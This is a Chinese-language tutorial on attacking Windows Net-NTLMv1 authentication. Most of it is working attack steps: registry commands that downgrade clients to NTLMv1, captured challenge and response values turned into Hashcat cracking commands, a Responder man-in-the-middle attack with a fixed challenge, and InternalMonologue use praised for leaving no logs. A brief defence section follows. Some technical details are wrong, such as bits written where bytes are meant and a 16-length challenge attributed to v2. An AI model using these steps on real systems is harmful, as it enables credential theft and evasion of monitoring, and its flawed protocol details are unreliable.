Windows下的密码hash——Net-NTLMv1介绍
字数 1479 2025-08-29 08:32:09
Windows下的密码hash——Net-NTLMv1详解
0x00 概述
Net-NTLMv1是Windows早期版本使用的认证协议,相比Net-NTLMv2在安全性上更为脆弱。本文详细介绍Net-NTLMv1的加密机制、破解方法和防御策略。
0x01 Net-NTLMv1加密机制
认证流程
- 客户端向服务器发送请求
- 服务器生成8位Challenge并返回客户端
- 客户端使用用户密码hash加密Challenge,生成Response发送给服务器
- 服务器验证Response
与Net-NTLMv2的区别
- Challenge长度:v1为8位,v2为16位
- 加密算法:v1使用较弱的3DES加密
Response计算方法
- 将用户NTLM hash分成三组,每组7比特(不足补0)
- 使用这三组密钥对Server发来的Challenge进行3DES加密
0x02 Net-NTLMv1破解方法
方法一:捕获数据包+字典破解
环境配置:
- 服务器:Server2008 x64 (192.168.62.144)
- 客户端:Win7 x64 (192.168.62.137)
- 测试账户:log1/logtest123!
步骤:
-
修改客户端注册表启用Net-NTLMv1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 0 /f -
客户端远程连接服务器:
net use \\192.168.62.144 /u:log1 logtest123! -
使用Wireshark捕获数据包,获取关键信息:
- Challenge:8d2da0f5e21e20ee
- LM Response:fec9b082080e34ba00000000000000000000000000000000
- NTLM Response:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04
- Username:log1
- Hostname:WIN-BH7SVRRDGVA
-
构造Hashcat输入格式:
username::hostname:LM response:NTLM response:challenge log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee -
使用Hashcat破解:
hashcat -m 5500 "log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee" /tmp/password.list -o found.txt --force
方法二:中间人攻击+彩虹表破解
- 使用Responder等工具控制Challenge为固定值1122334455667788
- 获取Net-NTLMv1 hash示例:
a::WIN-BH7SVRRDGVA:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a:1122334455667788 - 使用crack.sh在线破解:
- 输入格式:
NTHASH:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a - 通常在1分钟内可获取结果
- 输入格式:
0x03 利用工具InternalMonologue
功能特点
- 无需操作lsass.exe进程
- 不与远程服务器交互,不产生网络流量
- 不进行NTLM认证,不产生日志
使用方法
-
修改注册表降级到Net-NTLMv1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f -
运行InternalMonologue获取Net-NTLMv1响应
-
使用crack.sh破解获取的hash
普通用户权限下的利用
即使以普通用户权限运行,也能获取Net-NTLMv2数据包:
a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000
使用Hashcat破解:
hashcat -m 5600 "a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000" /tmp/password.list --force
0x04 防御策略
- 保持系统默认设置:Windows Vista及以后版本默认使用Net-NTLMv2
- 禁用Net-NTLMv1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 3 /f - 使用强密码策略:增加字典破解难度
- 监控注册表修改:特别是lmcompatibilitylevel等关键项的变更
0x05 总结
Net-NTLMv1由于其脆弱性,在现代Windows环境中已被Net-NTLMv2取代。了解其工作机制有助于更好地理解Windows认证机制和安全防御。防御方面应保持系统默认的Net-NTLMv2设置,并监控可能的降级攻击。